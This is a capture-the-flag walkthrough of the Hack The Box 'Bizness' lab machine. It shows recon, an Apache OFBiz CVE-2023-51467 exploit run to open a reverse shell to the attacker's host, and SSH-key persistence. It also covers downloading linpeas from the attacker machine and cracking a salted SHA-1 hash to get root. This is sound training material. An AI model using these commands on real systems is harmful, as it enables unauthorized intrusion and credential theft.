Bizness (Hack The Box) Walkthrough

A step‑by‑step walkthrough of the Hack The Box Bizness machine, from initial recon to RCE in Apache OFBiz and final root compromise via password hash cracking.

Overview of the Bizness Box

A structured walkthrough of the "Bizness" Hack The Box machine, covering reconnaissance, exploitation of Apache OFBiz (CVE-2023-51467), and privilege escalation to root, with all commands and screenshots preserved.

Engagement Phases

In this walkthrough we will follow these phases:

  1. Information Gathering
  2. Directory Enumeration
  3. Vulnerability Analysis
  4. Exploitation
  5. Privilege Escalation

Phase I: Information Gathering

Initial Reconnaissance with Nmap

We start with a full TCP port scan using nmap to identify exposed services.

sudo nmap -p- --min-rate 10000 10.10.11.252

Key Results:

  • Open Ports: 22 (SSH), 80 (HTTP), 443 (HTTPS), 38621 (Unknown)
  • Hostname: bizness.htb (mapped to 10.10.11.252 in /etc/hosts)

After adding the host entry, we browse to https://bizness.htb, but the landing page does not immediately reveal anything sensitive.

Web Interface

BIZNESS Homepage


Phase II: Directory Enumeration

Enumerating Paths with dirsearch

Next, we enumerate web paths to uncover hidden or less obvious entry points using dirsearch.

dirsearch -q -u https://bizness.htb -i 200,300-399

Findings:

  • Discovered a login page at http://bizness.htb/control/login
  • Identified the application as Apache OFBiz, which becomes our primary target

Visual Evidence

dirsearch OUTPUTdirsearch OUTPUT

Login Page


Phase III: Vulnerability Analysis

Identifying the Apache OFBiz RCE

With Apache OFBiz identified, we search for public vulnerabilities associated with the version in use. This leads us to a critical Remote Code Execution vulnerability:

  • CVE: CVE-2023-51467
  • Impact: Unauthenticated RCE on Apache OFBiz

Reference:


Phase IV: Exploitation

Obtaining a Public Exploit

We use a publicly available proof-of-concept designed for exploiting this OFBiz RCE:

Gaining Initial Foothold (Reverse Shell)

Using the exploit, we obtain a reverse shell back to our attacking machine:

python3 exploit.py https://bizness.htb/ shell <IP-tun0>:<PORT>

On successful exploitation, we get a remote shell on the target.

Shell Stabilization

We turn the basic shell into a more interactive one:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Background the shell with Ctrl+Z, then:
stty raw -echo; fg
reset xterm

Foothold Confirmation:

Reverse shell successfully obtained.

With a stable shell, we capture the user flag:

cat ~/user.txt

Phase V: Privilege Escalation

Establishing Persistent SSH Access

To make further work easier, we configure SSH key-based access using the ofbiz user account:

cd /home/ofbiz/
mkdir .ssh
echo [your_public_key] > ~/.ssh/authorized_keys

Then connect from the local machine:

ssh -i [private_key] ofbiz@bizness.htb

Local Enumeration Attempts

Searching for SUID Binaries

We first check for potential SUID binaries that might be exploitable:

find / -type f -perm /4000 2>/dev/null

Result: No obviously exploitable SUID binaries are identified.

Looking for Interesting Listening Ports

We inspect listening ports and network connections:

netstat -ano

Result: No particularly interesting internal services are exposed.

Automated Enumeration with LinPEAS

We run linpeas.sh to automatically search for misconfigurations and common privilege escalation vectors.

On the target machine:

cd /tmp
wget http://<IP-tun0>:<port>/linpeas.sh
bash ./linpeas.sh

For offline review, we capture the output:

bash ./linpeas.sh > /tmp/linpease.txt

On the local machine:

scp -i ~/.ssh/id_rsa ofbiz@bizness.htb:/tmp/linpease.txt ./

Outcome: LinPEAS does not immediately reveal a straightforward escalation vector, suggesting we need a more targeted approach.

Discovering Password Artifacts

Grepping for Password References

We pivot to a manual search for password-related strings across the filesystem:

grep -aRinH --color -o -E '(\w+\w+){0,5}password(\w+\w+){0,5}'

Findings:

  • Files indicating password usage
  • A SHA-1 hash and a .dat file that contains a Base64-encoded SHA-1 structure

Evidence:

Files indicating password-related data.

We also identify an XML file containing a hashed password:

SHA-1 password hashed

The search reveals a value in the form:

$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

Additional inspection of the .dat file shows a Base64-encoded structure representing a SHA-1 hash and salt:

SHA-1 structure and stored value.

Preparing the Hash for Cracking

Helper Script

To simplify extraction and formatting of the hash, we reference a helper script:

Normalizing Base64 for Hashcat

The stored value uses base64.urlsafe_b64encode(), which replaces / with _ and + with -.
To convert this into a standard Base64 string and then into hex for Hashcat, we leverage CyberChef:

  • Recipe (conceptually):
  • Replace _ with /
  • Replace - with +
  • Decode from Base64
  • Convert to Hex

CyberChef link used:

Cleaning and transforming the stored hash for cracking.

Cracking the Hash with Hashcat

Once the hash and salt are converted to the appropriate format, we use Hashcat with mode 120 (for salted SHA-1) and the rockyou.txt wordlist:

hashcat -m 120 -a 0 "b8fd3f41a541a435857a8f3e751cc3a91c174362:d" rockyou.txt

After some time, Hashcat successfully recovers the plaintext password.

Password successfully cracked.

Root password is: monkeybizness

Elevating to Root and Capturing the Flag

With the root password in hand, we escalate privileges:

su root
# Enter the password: monkeybizness
cat /root/root.txt

Root compromise and flag retrieval.